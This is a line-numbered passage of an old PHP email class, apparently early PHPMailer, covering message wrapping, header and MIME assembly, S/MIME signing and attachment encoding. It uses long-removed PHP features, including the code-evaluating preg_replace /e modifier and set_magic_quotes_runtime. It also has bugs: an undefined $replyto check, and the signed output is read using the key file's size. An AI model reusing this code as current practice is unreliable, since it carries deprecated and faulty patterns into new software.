  2059. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2060.  
  2061. $message = $this->FixEOL($message);
  2062. if (substr($message, -1) == $this->LE) {
  2063. $message = substr($message, 0, -1);
  2064. }
  2065.  
  2066. $line = explode($this->LE, $message);
  2067. $message = '';
  2068. for ($i=0 ;$i < count($line); $i++) {
  2069. $line_part = explode(' ', $line[$i]);
  2070. $buf = '';
  2071. for ($e = 0; $e<count($line_part); $e++) {
  2072. $word = $line_part[$e];
  2073. if ($qp_mode and (strlen($word) > $length)) {
  2074. $space_left = $length - strlen($buf) - 1;
  2075. if ($e != 0) {
  2076. if ($space_left > 20) {
  2077. $len = $space_left;
  2078. if ($is_utf8) {
  2079. $len = $this->UTF8CharBoundary($word, $len);
  2080. } elseif (substr($word, $len - 1, 1) == "=") {
  2081. $len--;
  2082. } elseif (substr($word, $len - 2, 1) == "=") {
  2083. $len -= 2;
  2084. }
  2085. $part = substr($word, 0, $len);
  2086. $word = substr($word, $len);
  2087. $buf .= ' ' . $part;
  2088. $message .= $buf . sprintf("=%s", $this->LE);
  2089. } else {
  2090. $message .= $buf . $soft_break;
  2091. }
  2092. $buf = '';
  2093. }
  2094. while (strlen($word) > 0) {
  2095. $len = $length;
  2096. if ($is_utf8) {
  2097. $len = $this->UTF8CharBoundary($word, $len);
  2098. } elseif (substr($word, $len - 1, 1) == "=") {
  2099. $len--;
  2100. } elseif (substr($word, $len - 2, 1) == "=") {
  2101. $len -= 2;
  2102. }
  2103. $part = substr($word, 0, $len);
  2104. $word = substr($word, $len);
  2105.  
  2106. if (strlen($word) > 0) {
  2107. $message .= $part . sprintf("=%s", $this->LE);
  2108. } else {
  2109. $buf = $part;
  2110. }
  2111. }
  2112. } else {
  2113. $buf_o = $buf;
  2114. $buf .= ($e == 0) ? $word : (' ' . $word);
  2115.  
  2116. if (strlen($buf) > $length and $buf_o != '') {
  2117. $message .= $buf_o . $soft_break;
  2118. $buf = $word;
  2119. }
  2120. }
  2121. }
  2122. $message .= $buf . $this->LE;
  2123. }
  2124.  
  2125. return $message;
  2126. }
  2127.  
  2128. /**
  2129. * Finds last character boundary prior to maxLength in a utf-8
  2130. * quoted (printable) encoded string.
  2131. * Original written by Colin Brown.
  2132. * @access private
  2133. * @param string $encodedText utf-8 QP text
  2134. * @param int $maxLength find last character boundary prior to this length
  2135. * @return int
  2136. */
  2137. function UTF8CharBoundary($encodedText, $maxLength) {
  2138. $foundSplitPos = false;
  2139. $lookBack = 3;
  2140. while (!$foundSplitPos) {
  2141. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2142. $encodedCharPos = strpos($lastChunk, "=");
  2143. if ($encodedCharPos !== false) {
  2144. // Found start of encoded character byte within $lookBack block.
  2145. // Check the encoded byte value (the 2 chars after the '=')
  2146. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2147. $dec = hexdec($hex);
  2148. if ($dec < 128) { // Single byte character.
  2149. // If the encoded char was found at pos 0, it will fit
  2150. // otherwise reduce maxLength to start of the encoded char
  2151. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2152. $maxLength - ($lookBack - $encodedCharPos);
  2153. $foundSplitPos = true;
  2154. } elseif ($dec >= 192) { // First byte of a multi byte character
  2155. // Reduce maxLength to split at start of character
  2156. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2157. $foundSplitPos = true;
  2158. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2159. $lookBack += 3;
  2160. }
  2161. } else {
  2162. // No encoded character found
  2163. $foundSplitPos = true;
  2164. }
  2165. }
  2166. return $maxLength;
  2167. }
  2168.  
  2169. /**
  2170. * Set the body wrapping.
  2171. * @access private
  2172. * @return void
  2173. */
  2174. function SetWordWrap() {
  2175. if($this->WordWrap < 1) {
  2176. return;
  2177. }
  2178.  
  2179. switch($this->message_type) {
  2180. case 'alt':
  2181. /* fall through */
  2182. case 'alt_attachments':
  2183. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2184. break;
  2185. default:
  2186. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2187. break;
  2188. }
  2189. }
  2190.  
  2191. /**
  2192. * Assembles message header.
  2193. * @access private
  2194. * @return string
  2195. */
  2196. function CreateHeader() {
  2197. $result = '';
  2198.  
  2199. /* Set the boundaries */
  2200. $uniq_id = md5(uniqid(time()));
  2201. $this->boundary[1] = 'b1_' . $uniq_id;
  2202. $this->boundary[2] = 'b2_' . $uniq_id;
  2203.  
  2204. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2205. if($this->Sender == '') {
  2206. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2207. } else {
  2208. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2209. }
  2210.  
  2211. /* To be created automatically by mail() */
  2212. if($this->Mailer != 'mail') {
  2213. if(count($this->to) > 0) {
  2214. $result .= $this->AddrAppend('To', $this->to);
  2215. } elseif (count($this->cc) == 0) {
  2216. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2217. }
  2218. if(count($this->cc) > 0) {
  2219. $result .= $this->AddrAppend('Cc', $this->cc);
  2220. }
  2221. }
  2222.  
  2223. $from = array();
  2224. $from[0][0] = trim($this->From);
  2225. $from[0][1] = $this->FromName;
  2226. $result .= $this->AddrAppend('From', $from);
  2227.  
  2228. /* sendmail and mail() extract Cc from the header before sending */
  2229. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2230. $result .= $this->AddrAppend('Cc', $this->cc);
  2231. }
  2232.  
  2233. /* sendmail and mail() extract Bcc from the header before sending */
  2234. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2235. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2236. }
  2237. if($replyto != "")
  2238. {
  2239. if(count($this->ReplyTo) > 0) {
  2240. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2241. }
  2242. }
  2243. /* mail() sets the subject itself */
  2244. if($this->Mailer != 'mail') {
  2245. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2246. }
  2247.  
  2248. if($this->MessageID != '') {
  2249. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2250. } else {
  2251. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2252. }
  2253. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2254. if($this->ConfirmReadingTo != '') {
  2255. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2256. }
  2257.  
  2258. // Add custom headers
  2259. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2260. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2261. }
  2262. if (!$this->sign_key_file) {
  2263. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2264. $result .= $this->GetMailMIME();
  2265. }
  2266.  
  2267. return $result;
  2268. }
  2269.  
  2270. /**
  2271. * Returns the message MIME.
  2272. * @access private
  2273. * @return string
  2274. */
  2275. function GetMailMIME() {
  2276. $result = '';
  2277. switch($this->message_type) {
  2278. case 'plain':
  2279. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2280. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2281. break;
  2282. case 'attachments':
  2283. /* fall through */
  2284. case 'alt_attachments':
  2285. if($this->InlineImageExists()){
  2286. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2287. } else {
  2288. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2289. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2290. }
  2291. break;
  2292. case 'alt':
  2293. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2294. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2295. break;
  2296. }
  2297.  
  2298. if($this->Mailer != 'mail') {
  2299. $result .= $this->LE.$this->LE;
  2300. }
  2301.  
  2302. return $result;
  2303. }
  2304.  
  2305. /**
  2306. * Assembles the message body. Returns an empty string on failure.
  2307. * @access private
  2308. * @return string
  2309. */
  2310. function CreateBody() {
  2311. $result = '';
  2312. if ($this->sign_key_file) {
  2313. $result .= $this->GetMailMIME();
  2314. }
  2315.  
  2316. $this->SetWordWrap();
  2317.  
  2318. switch($this->message_type) {
  2319. case 'alt':
  2320. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2321. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2322. $result .= $this->LE.$this->LE;
  2323. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2324. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2325. $result .= $this->LE.$this->LE;
  2326. $result .= $this->EndBoundary($this->boundary[1]);
  2327. break;
  2328. case 'plain':
  2329. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2330. break;
  2331. case 'attachments':
  2332. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2333. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2334. $result .= $this->LE;
  2335. $result .= $this->AttachAll();
  2336. break;
  2337. case 'alt_attachments':
  2338. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2339. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2340. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2341. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2342. $result .= $this->LE.$this->LE;
  2343. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2344. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2345. $result .= $this->LE.$this->LE;
  2346. $result .= $this->EndBoundary($this->boundary[2]);
  2347. $result .= $this->AttachAll();
  2348. break;
  2349. }
  2350.  
  2351. if($this->IsError()) {
  2352. $result = '';
  2353. } else if ($this->sign_key_file) {
  2354. $file = tempnam("", "mail");
  2355. $fp = fopen($file, "w");
  2356. fwrite($fp, $result);
  2357. fclose($fp);
  2358. $signed = tempnam("", "signed");
  2359.  
  2360. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2361. $fp = fopen($signed, "r");
  2362. $result = fread($fp, filesize($this->sign_key_file));
  2363. fclose($fp);
  2364. } else {
  2365. $this->SetError($this->Lang("signing").openssl_error_string());
  2366. $result = '';
  2367. }
  2368.  
  2369. unlink($file);
  2370. unlink($signed);
  2371. }
  2372.  
  2373. return $result;
  2374. }
  2375.  
  2376. /**
  2377. * Returns the start of a message boundary.
  2378. * @access private
  2379. */
  2380. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2381. $result = '';
  2382. if($charSet == '') {
  2383. $charSet = $this->CharSet;
  2384. }
  2385. if($contentType == '') {
  2386. $contentType = $this->ContentType;
  2387. }
  2388. if($encoding == '') {
  2389. $encoding = $this->Encoding;
  2390. }
  2391. $result .= $this->TextLine('--' . $boundary);
  2392. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2393. $result .= $this->LE;
  2394. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2395. $result .= $this->LE;
  2396.  
  2397. return $result;
  2398. }
  2399.  
  2400. /**
  2401. * Returns the end of a message boundary.
  2402. * @access private
  2403. */
  2404. function EndBoundary($boundary) {
  2405. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2406. }
  2407.  
  2408. /**
  2409. * Sets the message type.
  2410. * @access private
  2411. * @return void
  2412. */
  2413. function SetMessageType() {
  2414. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2415. $this->message_type = 'plain';
  2416. } else {
  2417. if(count($this->attachment) > 0) {
  2418. $this->message_type = 'attachments';
  2419. }
  2420. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2421. $this->message_type = 'alt';
  2422. }
  2423. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2424. $this->message_type = 'alt_attachments';
  2425. }
  2426. }
  2427. }
  2428.  
  2429. /* Returns a formatted header line.
  2430. * @access private
  2431. * @return string
  2432. */
  2433. function HeaderLine($name, $value) {
  2434. return $name . ': ' . $value . $this->LE;
  2435. }
  2436.  
  2437. /**
  2438. * Returns a formatted mail line.
  2439. * @access private
  2440. * @return string
  2441. */
  2442. function TextLine($value) {
  2443. return $value . $this->LE;
  2444. }
  2445.  
  2446. /////////////////////////////////////////////////
  2447. // CLASS METHODS, ATTACHMENTS
  2448. /////////////////////////////////////////////////
  2449.  
  2450. /**
  2451. * Adds an attachment from a path on the filesystem.
  2452. * Returns false if the file could not be found
  2453. * or accessed.
  2454. * @param string $path Path to the attachment.
  2455. * @param string $name Overrides the attachment name.
  2456. * @param string $encoding File encoding (see $Encoding).
  2457. * @param string $type File extension (MIME) type.
  2458. * @return bool
  2459. */
  2460. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2461. if(!@is_file($path)) {
  2462. $this->SetError($this->Lang('file_access') . $path);
  2463. return false;
  2464. }
  2465.  
  2466. $filename = basename($path);
  2467. if($name == '') {
  2468. $name = $filename;
  2469. }
  2470.  
  2471. $cur = count($this->attachment);
  2472. $this->attachment[$cur][0] = $path;
  2473. $this->attachment[$cur][1] = $filename;
  2474. $this->attachment[$cur][2] = $name;
  2475. $this->attachment[$cur][3] = $encoding;
  2476. $this->attachment[$cur][4] = $type;
  2477. $this->attachment[$cur][5] = false; // isStringAttachment
  2478. $this->attachment[$cur][6] = 'attachment';
  2479. $this->attachment[$cur][7] = 0;
  2480.  
  2481. return true;
  2482. }
  2483.  
  2484. /**
  2485. * Attaches all fs, string, and binary attachments to the message.
  2486. * Returns an empty string on failure.
  2487. * @access private
  2488. * @return string
  2489. */
  2490. function AttachAll() {
  2491. /* Return text of body */
  2492. $mime = array();
  2493.  
  2494. /* Add all attachments */
  2495. for($i = 0; $i < count($this->attachment); $i++) {
  2496. /* Check for string attachment */
  2497. $bString = $this->attachment[$i][5];
  2498. if ($bString) {
  2499. $string = $this->attachment[$i][0];
  2500. } else {
  2501. $path = $this->attachment[$i][0];
  2502. }
  2503.  
  2504. $filename = $this->attachment[$i][1];
  2505. $name = $this->attachment[$i][2];
  2506. $encoding = $this->attachment[$i][3];
  2507. $type = $this->attachment[$i][4];
  2508. $disposition = $this->attachment[$i][6];
  2509. $cid = $this->attachment[$i][7];
  2510.  
  2511. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2512. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2513. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2514.  
  2515. if($disposition == 'inline') {
  2516. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2517. }
  2518.  
  2519. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2520.  
  2521. /* Encode as string attachment */
  2522. if($bString) {
  2523. $mime[] = $this->EncodeString($string, $encoding);
  2524. if($this->IsError()) {
  2525. return '';
  2526. }
  2527. $mime[] = $this->LE.$this->LE;
  2528. } else {
  2529. $mime[] = $this->EncodeFile($path, $encoding);
  2530. if($this->IsError()) {
  2531. return '';
  2532. }
  2533. $mime[] = $this->LE.$this->LE;
  2534. }
  2535. }
  2536.  
  2537. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2538.  
  2539. return join('', $mime);
  2540. }
  2541.  
  2542. /**
  2543. * Encodes attachment in requested format. Returns an
  2544. * empty string on failure.
  2545. * @access private
  2546. * @return string
  2547. */
  2548. function EncodeFile ($path, $encoding = 'base64') {
  2549. if(!@$fd = fopen($path, 'rb')) {
  2550. $this->SetError($this->Lang('file_open') . $path);
  2551. return '';
  2552. }
  2553. $magic_quotes = get_magic_quotes_runtime();
  2554. set_magic_quotes_runtime(0);
  2555. $file_buffer = fread($fd, filesize($path));
  2556. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2557. fclose($fd);
  2558. set_magic_quotes_runtime($magic_quotes);
  2559.  
  2560. return $file_buffer;
  2561. }
  2562.  
  2563. /**
  2564. * Encodes string to requested format. Returns an
  2565. * empty string on failure.
  2566. * @access private
  2567. * @return string
  2568. */
  2569. function EncodeString ($str, $encoding = 'base64') {
  2570. $encoded = '';
  2571. switch(strtolower($encoding)) {
  2572. case 'base64':
  2573. /* chunk_split is found in PHP >= 3.0.6 */
  2574. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2575. break;
  2576. case '7bit':
  2577. case '8bit':
  2578. $encoded = $this->FixEOL($str);
  2579. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2580. $encoded .= $this->LE;
  2581. break;
  2582. case 'binary':
  2583. $encoded = $str;
  2584. break;
  2585. case 'quoted-printable':
  2586. $encoded = $this->EncodeQP($str);
  2587. break;
  2588. default:
  2589. $this->SetError($this->Lang('encoding') . $encoding);
  2590. break;
  2591. }
  2592. return $encoded;
  2593. }
  2594.  
  2595. /**
  2596. * Encode a header string to best of Q, B, quoted or none.
  2597. * @access private
  2598. * @return string
  2599. */
  2600. function EncodeHeader ($str, $position = 'text') {
  2601. $x = 0;
  2602.  
  2603. switch (strtolower($position)) {
  2604. case 'phrase':
  2605. if (!preg_match('/[\200-\377]/', $str)) {
  2606. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2607. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2608. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2609. return ($encoded);
  2610. } else {
  2611. return ("\"$encoded\"");
  2612. }
  2613. }
  2614. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2615. break;
  2616. case 'comment':
  2617. $x = preg_match_all('/[()"]/', $str, $matches);
  2618. /* Fall-through */
  2619. case 'text':
  2620. default:
  2621. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2622. break;
  2623. }
  2624.  
  2625. if ($x == 0) {
  2626. return ($str);
  2627. }
  2628.  
  2629. $maxlen = 75 - 7 - strlen($this->CharSet);
  2630. /* Try to select the encoding which should produce the shortest output */
  2631. if (strlen($str)/3 < $x) {
  2632. $encoding = 'B';
  2633. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2634. // Use a custom function which correctly encodes and wraps long
  2635. // multibyte strings without breaking lines within a character
  2636. $encoded = $this->Base64EncodeWrapMB($str);
  2637. } else {
  2638. $encoded = base64_encode($str);
  2639. $maxlen -= $maxlen % 4;
  2640. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2641. }
  2642. } else {
  2643. $encoding = 'Q';
  2644. $encoded = $this->EncodeQ($str, $position);
  2645. $encoded = $this->WrapText($encoded, $maxlen, true);
  2646. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2647. }
  2648.  
  2649. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2650. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2651.  
  2652. return $encoded;
  2653. }
  2654.  
  2655. /**
  2656. * Checks if a string contains multibyte characters.
  2657. * @access private
  2658. * @param string $str multi-byte text to wrap encode
  2659. * @return bool
  2660. */
  2661. function HasMultiBytes($str) {
  2662. if (function_exists('mb_strlen')) {
  2663. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2664. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2665. return False;
  2666. }
  2667. }
  2668.  
  2669. /**
  2670. * Correctly encodes and wraps long multibyte strings for mail headers
  2671. * without breaking lines within a character.
  2672. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2673. * @access private
  2674. * @param string $str multi-byte text to wrap encode
  2675. * @return string
  2676. */
  2677. function Base64EncodeWrapMB($str) {
  2678. $start = "=?".$this->CharSet."?B?";
  2679. $end = "?=";
  2680. $encoded = "";
  2681.  
  2682. $mb_length = mb_strlen($str, $this->CharSet);
  2683. // Each line must have length <= 75, including $start and $end
  2684. $length = 75 - strlen($start) - strlen($end);
  2685. // Average multi-byte ratio
  2686. $ratio = $mb_length / strlen($str);
  2687. // Base64 has a 4:3 ratio
  2688. $offset = $avgLength = floor($length * $ratio * .75);
  2689.  
  2690. for ($i = 0; $i < $mb_length; $i += $offset) {
  2691. $lookBack = 0;
  2692.  
  2693. do {
  2694. $offset = $avgLength - $lookBack;
  2695. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2696. $chunk = base64_encode($chunk);
  2697. $lookBack++;
  2698. }
  2699. while (strlen($chunk) > $length);
  2700.  
  2701. $encoded .= $chunk . $this->LE;
  2702. }
  2703.  
  2704. // Chomp the last linefeed
  2705. $encoded = substr($encoded, 0, -strlen($this->LE));
  2706. return $encoded;
  2707. }
  2708.  
  2709. /**
  2710. * Encode string to quoted-printable.
  2711. * @access private
  2712. * @return string
  2713. */
  2714. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2715. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2716. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2717. $eol = "\r\n";
  2718. $escape = '=';
  2719. $output = '';
  2720. while( list(, $line) = each($lines) ) {
  2721. $linlen = strlen($line);
  2722. $newline = '';
  2723. for($i = 0; $i < $linlen; $i++) {
  2724. $c = substr( $line, $i, 1 );
  2725. $dec = ord( $c );
  2726. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2727. $c = '=2E';
  2728. }
  2729. if ( $dec == 32 ) {
  2730. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2731. $c = '=20';
  2732. } else if ( $space_conv ) {
  2733. $c = '=20';
  2734. }
  2735. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2736. $h2 = floor($dec/16);
  2737. $h1 = floor($dec%16);
  2738. $c = $escape.$hex[$h2].$hex[$h1];
  2739. }
  2740. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2741. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2742. $newline = '';
  2743. // check if newline first character will be point or not
  2744. if ( $dec == 46 ) {
  2745. $c = '=2E';
  2746. }
  2747. }
  2748. $newline .= $c;
  2749. } // end of for
  2750. $output .= $newline.$eol;
  2751. } // end of while
  2752. return trim($output);
  2753. }
  2754.  
  2755. /**
  2756. * Encode string to q encoding.
  2757. * @access private
  2758. * @return string
  2759. */
  2760. function EncodeQ ($str, $position = 'text') {
  2761. /* There should not be any EOL in the string */
  2762. $encoded = preg_replace("[\r\n]", '', $str);
  2763.  
  2764. switch (strtolower($position)) {
  2765. case 'phrase':
  2766. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2767. break;
  2768. case 'comment':
  2769. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2770. case 'text':
  2771. default:
  2772. /* Replace every high ascii, control =, ? and _ characters */
  2773. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2774. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2775. break;
  2776. }
  2777.  
  2778. /* Replace every spaces to _ (more readable than =20) */
  2779. $encoded = str_replace(' ', '_', $encoded);
  2780.  
  2781. return $encoded;
  2782. }
  2783.  
  2784. /**
  2785. * Adds a string or binary attachment (non-filesystem) to the list.
  2786. * This method can be used to attach ascii or binary data,
  2787. * such as a BLOB record from a database.
  2788. * @param string $string String attachment data.
  2789. * @param string $filename Name of the attachment.
  2790. * @param string $encoding File encoding (see $Encoding).
  2791. * @param string $type File extension (MIME) type.
  2792. * @return void
  2793. */
  2794. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2795. /* Append to $attachment array */
  2796. $cur = count($this->attachment);
  2797. $this->attachment[$cur][0] = $string;
  2798. $this->attachment[$cur][1] = $filename;
  2799. $this->attachment[$cur][2] = $filename;
  2800. $this->attachment[$cur][3] = $encoding;
  2801. $this->attachment[$cur][4] = $type;
  2802. $this->attachment[$cur][5] = true; // isString
  2803. $this->attachment[$cur][6] = 'attachment';
  2804. $this->attachment[$cur][7] = 0;
  2805. }
  2806.  
  2807. /**
  2808. * Adds an embedded attachment. This can include images, sounds, and
  2809. * just about any other document. Make sure to set the $type to an
  2810. * image type. For JPEG images use "image/jpeg" and for GIF images
  2811. * use "image/gif".
  2812. * @param string $path Path to the attachment.
  2813. * @param string $cid Content ID of the attachment. Use this to identify
  2814. * the Id for accessing the image in an HTML form.
  2815. * @param string $name Overrides the attachment name.
  2816. * @param string $encoding File encoding (see $Encoding).
  2817. * @param string $type File extension (MIME) type.
  2818. * @return bool
  2819. */
  2820. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2821.  
  2822. if(!@is_file($path)) {
  2823. $this->SetError($this->Lang('file_access') . $path);
  2824. return false;
  2825. }
  2826.  
  2827. $filename = basename($path);
  2828. if($name == '') {
  2829. $name = $filename;
  2830. }
  2831.  
  2832. /* Append to $attachment array */
  2833. $cur = count($this->attachment);
  2834. $this->attachment[$cur][0] = $path;
  2835. $this->attachment[$cur][1] = $filename;
  2836. $this->attachment[$cur][2] = $name;
  2837. $this->attachment[$cur][3] = $encoding;
  2838. $this->attachment[$cur][4] = $type;
  2839. $this->attachment[$cur][5] = false;
  2840. $this->attachment[$cur][6] = 'inline';
  2841. $this->attachment[$cur][7] = $cid;
  2842.  
  2843. return true;
  2844. }
  2845.  
  2846. /**
  2847. * Returns true if an inline attachment is present.
  2848. * @access private
  2849. * @return bool
  2850. */
  2851. function InlineImageExists() {
  2852. $result = false;
  2853. for($i = 0; $i < count($this->attachment); $i++) {
  2854. if($this->attachment[$i][6] == 'inline') {
  2855. $result = true;
  2856. break;
  2857. }
  2858. }
  2859.  
  2860. return $result;
  2861. }
  2862.  
  2863. /////////////////////////////////////////////////
  2864. // CLASS METHODS, MESSAGE RESET
  2865. /////////////////////////////////////////////////
  2866.  
  2867. /**
  2868. * Clears all recipients assigned in the TO array. Returns void.
  2869. * @return void
  2870. */
  2871. function ClearAddresses() {
  2872. $this->to = array();
  2873. }
  2874.  
  2875. /**
  2876. * Clears all recipients assigned in the CC array. Returns void.
  2877. * @return void
  2878. */
  2879. function ClearCCs() {
  2880. $this->cc = array();
  2881. }
  2882.  
  2883. /**
  2884. * Clears all recipients assigned in the BCC array. Returns void.
  2885. * @return void
  2886. */
  2887. function ClearBCCs() {
  2888. $this->bcc = array();
  2889. }
  2890.  
  2891. /**
  2892. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2893. * @return void
  2894. */
  2895. function ClearReplyTos() {
  2896. $this->ReplyTo = array();
  2897. }
  2898.  
  2899. /**
  2900. * Clears all recipients assigned in the TO, CC and BCC
  2901. * array. Returns void.
  2902. * @return void
  2903. */
  2904. function ClearAllRecipients() {
  2905. $this->to = array();
  2906. $this->cc = array();
  2907. $this->bcc = array();
  2908. }
  2909.  
  2910. /**
  2911. * Clears all previously set filesystem, string, and binary
  2912. * attachments. Returns void.
  2913. * @return void
  2914. */
  2915. function ClearAttachments() {
  2916. $this->attachment = array();
  2917. }
  2918.  
  2919. /**
  2920. * Clears all custom headers. Returns void.
  2921. * @return void
  2922. */
  2923. function ClearCustomHeaders() {
  2924. $this->CustomHeader = array();
  2925. }
  2926.  
  2927. /////////////////////////////////////////////////
  2928. // CLASS METHODS, MISCELLANEOUS
  2929. /////////////////////////////////////////////////
  2930.  
  2931. /**
  2932. * Adds the error message to the error container.
  2933. * Returns void.
  2934. * @access private
  2935. * @return void
  2936. */
  2937. function SetError($msg) {
  2938. $this->error_count++;
  2939. $this->ErrorInfo = $msg;
  2940. }
  2941.  
  2942. /**
  2943. * Returns the proper RFC 822 formatted date.
  2944. * @access private
  2945. * @return string
  2946. */
  2947. function RFCDate() {
  2948. $tz = date('Z');
  2949. $tzs = ($tz < 0) ? '-' : '+';
  2950. $tz = abs($tz);
  2951. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2952. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2953.  
  2954. return $result;
  2955. }
  2956.  
  2957. /**
  2958. * Returns the appropriate server variable. Should work with both
  2959. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2960. * if nothing is found.
  2961. * @access private
  2962. * @return mixed
  2963. */
  2964. function ServerVar($varName) {
  2965. global $HTTP_SERVER_VARS;
  2966. global $HTTP_ENV_VARS;
  2967.  
  2968. if(!isset($_SERVER)) {
  2969. $_SERVER = $HTTP_SERVER_VARS;
  2970. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2971. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2972. }
  2973. }
  2974.  
  2975. if(isset($_SERVER[$varName])) {
  2976. return $_SERVER[$varName];
  2977. } else {
  2978. return '';
  2979. }
  2980. }
  2981.  
  2982. /**
  2983. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2984. * @access private
